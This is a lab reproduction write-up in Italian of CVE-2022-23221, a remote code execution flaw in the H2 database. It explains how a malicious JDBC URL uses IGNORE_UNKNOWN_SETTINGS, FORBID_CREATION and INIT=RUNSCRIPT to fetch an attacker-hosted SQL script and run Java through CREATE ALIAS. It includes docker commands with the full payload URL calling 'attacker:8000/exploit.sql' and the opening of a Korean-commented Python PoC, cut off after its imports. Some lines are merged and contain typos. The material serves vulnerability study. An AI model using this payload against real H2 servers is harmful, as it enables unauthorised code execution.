
vulhub/H2-database/CVE-2022-23221
Riferimento: https://nvd.nist.gov/vuln/detail/cve-2022-23221
H2 è un sistema di gestione di database relazionali che offre la funzionalità di compilare ed eseguire direttamente codice Java all'interno del motore SQL.
Il driver H2 analizza l'URL JDBC per stabilire la connessione tra l'applicazione e il database. In questa fase, tramite i parametri di configurazione inclusi nell'URL, è possibile controllare lo stato iniziale o il comportamento del database.
Le versioni di H2 precedenti alla 2.1.210 presentano un problema che consente di eseguire script SQL remoti tramite il parametro INIT dell'URL JDBC. Un attaccante può sfruttarlo per iniettare da remoto uno script SQL manipolato ed eseguire comandi di sistema tramite le istruzioni in esso contenute, causando la vulnerabilità CVE-2022-23221.
Le caratteristiche di questa vulnerabilità sono le seguenti.
Ambito di impatto della vulnerabilità
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’.
IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> aggiramento delle impostazioni di sicurezza
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> comando SQL eseguito automaticamente alla connessione tra l'applicazione e il DB
CREATE ALIAS.
CREATE ALIAS all'interno dello script da eseguire da remoto fa sì che H2 esegua la funzione Java contenuta nello script all'interno del DB, causando di conseguenza l'RCE.Scenario
id, whoami, pwd, ciò significa che è stato configurato un ambiente H2 vulnerabile e che, nel processo di analisi dell'URL JDBC malevolo da parte di H2, il file exploit.sql è stato scaricato da remoto dal server dell'attaccante ed eseguito.Configurazione dell'ambiente
docker compose up -d

http://your-ip:8082tcp://your-ip:9092http://your-ip:8000 : fornisce il file exploit.sqlDopo aver configurato l'ambiente, accedendo a http://your-ip:8082 viene visualizzata la pagina web di H2.
: Nella console web, poiché sono applicate le policy di sicurezza, i parametri che costituiscono le condizioni della vulnerabilità possono essere filtrati; pertanto, si riproduce la vulnerabilità inserendo direttamente via CLI l'URL JDBC contenente i parametri malevoli e se ne verifica il risultato.
URL JDBC normale: "jdbc:h2:mem:test"
Comando di richiesta normale
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""
Risultato dell'esecuzione

Inserendo un URL JDBC malevolo nel driver H2, si tenta la connessione al server attacker. A questo punto, ci sono 2 modi per inserire l'URL.
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
-user sa \
-password ""
python3 poc.py

H2, come specificato dal parametro INIT dell'URL JDBC INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql', richiede (HTTP GET) il file exploit.sql al server attacker e lo esegue all'interno del database H2.
docker logs attacker è possibile verificare il log della richiesta del file exploit.sql proveniente dal server h2-vulnerable.docker logs attacker

#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys